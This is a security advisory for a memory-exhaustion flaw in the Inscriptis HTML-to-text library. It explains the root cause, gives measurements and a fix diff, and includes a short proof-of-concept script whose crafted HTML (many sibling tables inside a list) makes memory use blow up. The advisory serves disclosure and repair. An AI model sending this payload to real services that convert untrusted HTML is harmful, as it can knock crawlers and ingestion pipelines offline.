Inscriptis is a Python library for converting HTML to text. From 2.0.0 until 2.7.6, when the parent is block-level, table_end_handler() in…
[email protected]·CWE-400·Published 2026-11-20
Inscriptis is a Python library for converting HTML to text. From 2.0.0 until 2.7.6, when the parent is block-level, table_end_handler() in model/tag/table_tag.py writes each sibling table through HtmlElement.write_verbatim_text() in model/html_element.py; Canvas.open_block() leaves the parent padding_inline prefix on the stack, Canvas.close_block() does not remove it, and only Canvas.close_tag() calls prefix.remove_last_prefix(). Each following sibling table therefore carries forward accumulated indentation, making get_text() output grow quadratically and allowing small attacker-controlled HTML to exhaust memory in applications converting it without authentication or user interaction. This issue is fixed in 2.7.6.
Inscriptis is a Python library for converting HTML to text. From 2.0.0 until 2.7.6, when the parent is block-level, table_end_handler() in model/tag/table_tag.py writes each sibling table through HtmlElement.write_verbatim_text() in model/html_element.py; Canvas.open_block() leaves the parent padding_inline prefix on the stack, Canvas.close_block() does not remove it, and only Canvas.close_tag() calls prefix.remove_last_prefix(). Each following sibling table therefore carries forward accumulated indentation, making get_text() output grow quadratically and allowing small attacker-controlled HTML to exhaust memory in applications converting it without authentication or user interaction. This issue is fixed in 2.7.6.
# Summary Every sibling `<table>` adds another level of the parent's indentation, so the size of `get_text()` output grows quadratically with the number of tables. In the measurements below, a 240 KB HTML document produces about 1 billion characters and uses about 1 GB of memory. # Details `table_end_handler()` (`model/tag/table_tag.py`) writes the rendered table into the parent element with `HtmlElement.write_verbatim_text()` (`model/html_element.py`). For a block-level parent, `write_verbatim_text()` calls `canvas.open_block()`, which pushes the parent's `padding_inline` onto the prefix stack. The following `close_block()` never pops it; only `Canvas.close_tag()` calls `prefix.remove_last_prefix()`. So each table leaves one extra padding entry on the stack. This has been present since 2.0 (commit 84ec720). ```python >>> get_text('<ul>' + '<table><tr><td>a</td></tr></table>' * 4 + '</ul>') ' a\n \n a\n \n a\n \n a\n ' ``` # PoC ```python import sys, time, resource from inscriptis import get_text n = int(sys.argv[1]) html = "<ul>" + "<table></table>" * n + "</ul>" t = time.time(); out = get_text(html) print(len(html), f"{time.time()-t:.2f}s", len(out), resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 2**20, "MiB") ``` inscriptis 2.7.5, Python 3.11, macOS (2.0.0 behaves the same): | tables | HTML | time | output chars | peak RSS | |---|---|---|---|---| | 1,000 | 15 KB | 0.02 s | 4.0 M | 31 MiB | | 4,000 | 60 KB | 0.33 s | 64 M | 154 MiB | | 8,000 | 120 KB | 1.31 s | 256 M | 463 MiB | | 16,000 | 240 KB | 5.63 s | 1,024 M | 991 MiB | When the input doubles, output size and memory grow about 4 times. # Impact Any application that converts untrusted HTML with inscriptis can be made to exhaust memory with a small document. This includes crawlers, RAG and LLM ingestion pipelines, and `inscriptis-api`. No authentication and no user interaction are needed. # Fix ```diff self.canvas.write(self, text, whitespace=WhiteSpace.pre) if self.display == Display.block: + self.canvas.current_block.prefix.remove_last_prefix() self.canvas.close_block(self) ``` With this change the 240 KB input above produces 288 K characters in 0.14 s with 27 MiB peak RSS. A single table renders exactly as before, and the existing test suite passes.
# Summary Every sibling `<table>` adds another level of the parent's indentation, so the size of `get_text()` output grows quadratically with the number of tables. In the measurements below, a 240 KB HTML document produces about 1 billion characters and uses about 1 GB of memory. # Details `table_end_handler()` (`model/tag/table_tag.py`) writes the rendered table into the parent element with `HtmlElement.write_verbatim_text()` (`model/html_element.py`). For a block-level parent, `write_verbatim_text()` calls `canvas.open_block()`, which pushes the parent's `padding_inline` onto the prefix stack. The following `close_block()` never pops it; only `Canvas.close_tag()` calls `prefix.remove_last_prefix()`. So each table leaves one extra padding entry on the stack. This has been present since 2.0 (commit 84ec720). ```python >>> get_text('<ul>' + '<table><tr><td>a</td></tr></table>' * 4 + '</ul>') ' a\n \n a\n \n a\n \n a\n ' ``` # PoC ```python import sys, time, resource from inscriptis import get_text n = int(sys.argv[1]) html = "<ul>" + "<table></table>" * n + "</ul>" t = time.time(); out = get_text(html) print(len(html), f"{time.time()-t:.2f}s", len(out), resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 2**20, "MiB") ``` inscriptis 2.7.5, Python 3.11, macOS (2.0.0 behaves the same): | tables | HTML | time | output chars | peak RSS | |---|---|---|---|---| | 1,000 | 15 KB | 0.02 s | 4.0 M | 31 MiB | | 4,000 | 60 KB | 0.33 s | 64 M | 154 MiB | | 8,000 | 120 KB | 1.31 s | 256 M | 463 MiB | | 16,000 | 240 KB | 5.63 s | 1,024 M | 991 MiB | When the input doubles, output size and memory grow about 4 times. # Impact Any application that converts untrusted HTML with inscriptis can be made to exhaust memory with a small document. This includes crawlers, RAG and LLM ingestion pipelines, and `inscriptis-api`. No authentication and no user interaction are needed. # Fix ```diff self.canvas.write(self, text, whitespace=WhiteSpace.pre) if self.display == Display.block: + self.canvas.current_block.prefix.remove_last_prefix() self.canvas.close_block(self) ``` With this change the 240 KB input above produces 288 K characters in 0.14 s with 27 MiB peak RSS. A single table renders exactly as before, and the existing test suite passes.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 5.3 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| 3.1 | Secondary | NVD | 5.3 | 3.9 | 1.4 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| 3.1 | Secondary | GHSA | 5.3 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| 3.1 | Secondary | ENISA EUVD | 5.3 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |